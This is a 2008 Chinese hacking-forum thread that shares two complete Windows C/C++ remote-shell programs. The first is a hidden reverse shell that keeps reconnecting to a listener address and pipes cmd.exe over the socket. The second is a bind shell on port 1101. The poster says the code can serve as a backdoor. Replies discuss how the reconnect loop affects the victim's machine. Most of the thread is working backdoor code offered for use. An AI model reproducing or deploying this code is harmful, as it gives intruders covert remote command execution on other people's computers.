本页主题: 得远程CMD C/C++代码 打印 | 加为IE收藏 | 复制链接 | 收藏主题 | 上一主题 | 下一主题

gzlick
级别: 正式盟友


论坛精华: 0
疯狂发帖: 12
学盟威望: 2 点
学盟金币: 46 金
学盟贡献: 3 点
学盟好评: 0 分
学盟神石: 0 块
在线时间:5(小时)
签名状态: 未签到-[4次/3天]
注册时间:2008-10-11
最后登录:2008-11-02

 得远程CMD C/C++代码

1

用VC编译成功后在远程主机运行
用NC监听本地80端口就能获得一个远程cmd(这是反连得CMD)

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"Kernel32.lib")
#include "winsock2.h"
#include "windows.h"
//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//改变入口地址,无控制台窗口

#define MasterAddr "127.0.0.1"   //连接地址
#define MasterPort 80             //连接端口
void main(void)
{
  WSADATA WSADa;
  LPHOSTENT HostEnts;
  sockaddr_in SockAddrIn;
 
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
//-------------------
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
  //获取cmd路径
  WSAStartup(0x0202,&WSADa);
  //加载ws2_32.dll
  HostEnts=gethostbyname(MasterAddr);
  SockAddrIn.sin_family = AF_INET;
  SockAddrIn.sin_addr = *((LPIN_ADDR)*HostEnts->h_addr_list);
  SockAddrIn.sin_port = htons(MasterPort);
  //初始化套接字地址结构体
  SOCKET FSocket;
  while(1)//循环不断连接
  {
 FSocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
 connect(FSocket, (LPSOCKADDR)&SockAddrIn,sizeof(SockAddrIn));
  //开始连接远程服务器
 StartupInfo.cb = sizeof(STARTUPINFO);
 StartupInfo.wShowWindow = SW_HIDE;
 StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 StartupInfo.hStdInput = (HANDLE)FSocket;//进程输出使用套接字FSocket
 StartupInfo.hStdOutput = (HANDLE)FSocket;//进程输入使用套接字FSocket
 StartupInfo.hStdError = (HANDLE)FSocket;
  //创建匿名管道
 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
 WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
 CloseHandle(ProcessInfo.hProcess);
 CloseHandle(ProcessInfo.hThread);
 closesocket(FSocket);
  }
  closesocket(FSocket);
  //关闭进程句柄
  WSACleanup();
  //关闭连接卸载ws2_32.dll
}


用VC编译成功后在远程主机运行
用NC连接远程主机端口1101,就能获得一个远程CMD, 和上面的代码类似(这是主动连接得CMD)

//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//改变入口地址,无控制台窗口
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"Kernel32.lib")
#include "winsock2.h"
#include "windows.h"
#define PORT 1101
void main(void)
{
  WSADATA WSADa; 
  PROCESS_INFORMATION ProcessInfo;
  STARTUPINFO StartupInfo;
  char szCMDPath[255];
//-------------------
  ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
  ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
  ZeroMemory(&WSADa, sizeof(WSADATA));
//----初始化数据----
  GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
  //获取cmd路径
  WSAStartup(0x0202,&WSADa);
  //加载ws2_32.dll

  sockaddr_in sin;
  sin.sin_family=AF_INET;
  sin.sin_port=htons(PORT);
  sin.sin_addr.S_un.S_addr=INADDR_ANY;
  SOCKET FSocket;
  FSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  bind(FSocket,(LPSOCKADDR)&sin,sizeof(sin));//绑定
  listen(FSocket,10);//监听
  sockaddr_in remoteAddr;
  int remoteLen=sizeof(remoteAddr);
  SOCKET sClient;
  while(1)
  {
 sClient=::accept(FSocket, (SOCKADDR*)&remoteAddr,&remoteLen);//接受一个连接
 StartupInfo.cb = sizeof(STARTUPINFO);
 StartupInfo.wShowWindow = SW_HIDE;
 StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 StartupInfo.hStdInput = (HANDLE)sClient;
 StartupInfo.hStdOutput = (HANDLE)sClient;
 StartupInfo.hStdError = (HANDLE)sClient;
  //创建匿名管道
 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
 WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
 CloseHandle(ProcessInfo.hProcess);
 CloseHandle(ProcessInfo.hThread);
  }
  closesocket(FSocket);
  //关闭进程句柄
  WSACleanup();
  //关闭连接卸载ws2_32.dll
}



顶端 Posted: 2008-10-11 12:32 | [楼 主]
gzlick
级别: 正式盟友


论坛精华: 0
疯狂发帖: 12
学盟威望: 2 点
学盟金币: 46 金
学盟贡献: 3 点
学盟好评: 0 分
学盟神石: 0 块
在线时间:5(小时)
签名状态: 未签到-[4次/3天]
注册时间:2008-10-11
最后登录:2008-11-02

 

代码原型是在啊D BLOG里得到的,后来作了下修改,可作后门
顶端 Posted: 2008-10-11 12:34 | 1 楼
小铁
级别: 论坛版主


论坛精华: 0
疯狂发帖: 425
学盟威望: 61 点
学盟金币: 12 金
学盟贡献: 33 点
学盟好评: 96 分
学盟神石: 0 块
在线时间:618(小时)
签名状态: 未签到-[59次/33天]
注册时间:2008-02-17
最后登录:2008-12-01

 

代码中的循环是否会占死整个程序线程
  SOCKET FSocket;
  while(1)//循环不断连接
  {
     ..............
    }
系统也许会很卡把
也许使用time.h 会更好点 系统不会很卡
顶端 Posted: 2008-10-11 13:31 | 2 楼
gzlick
级别: 正式盟友


论坛精华: 0
疯狂发帖: 12
学盟威望: 2 点
学盟金币: 46 金
学盟贡献: 3 点
学盟好评: 0 分
学盟神石: 0 块
在线时间:5(小时)
签名状态: 未签到-[4次/3天]
注册时间:2008-10-11
最后登录:2008-11-02

 

并不会,当连接成功后,并又断开了,才会进入下一个循环
我在这边试过,当没连接时,CPU使用率为0
顶端 Posted: 2008-10-11 15:38 | 3 楼
小铁
级别: 论坛版主


论坛精华: 0
疯狂发帖: 425
学盟威望: 61 点
学盟金币: 12 金
学盟贡献: 33 点
学盟好评: 96 分
学盟神石: 0 块
在线时间:618(小时)
签名状态: 未签到-[59次/33天]
注册时间:2008-02-17
最后登录:2008-12-01

 

我的意思是比如反向连接 我暂时并没有开NC监听端口
但是对方已经运行了程序 这样
while(1)//循环不断连接
  {
     ..............
    }
就会不断循环的连接我。但是我并没有开放端口连接
是否会造成对方很卡? 请教!
顶端 Posted: 2008-10-12 17:42 | 4 楼
gzlick
级别: 正式盟友


论坛精华: 0
疯狂发帖: 12
学盟威望: 2 点
学盟金币: 46 金
学盟贡献: 3 点
学盟好评: 0 分
学盟神石: 0 块
在线时间:5(小时)
签名状态: 未签到-[4次/3天]
注册时间:2008-10-11
最后登录:2008-11-02

 

版主谦虚了,
可能是我表达的不够准确,

版主自已可试试
顶端 Posted: 2008-10-13 18:44 | 5 楼
jadepeak
级别: 正式盟友


论坛精华: 0
疯狂发帖: 6
学盟威望: 0 点
学盟金币: 21 金
学盟贡献: 0 点
学盟好评: 0 分
学盟神石: 0 块
在线时间:0(小时)
注册时间:2008-10-16
最后登录:2008-10-16

 

Quote:
引用第2楼小铁于2008-10-11 13:31发表的  :
代码中的循环是否会占死整个程序线程
  SOCKET FSocket;
  while(1)//循环不断连接
  {
     ..............
.......

其实用异步就可以了..不会阻塞~~~
顶端 Posted: 2008-10-16 18:44 | 6 楼
帖子浏览记录 版块浏览记录
学盟技术交流中心 » 数据编程

Total 0.050423(s) query 6, Time now is:12-02 09:18, Gzip enabled 黑ICP备05002849号
Powered by PHPWind v6.3.2 Certificate Code © 2003-07 PHPWind.com Corporation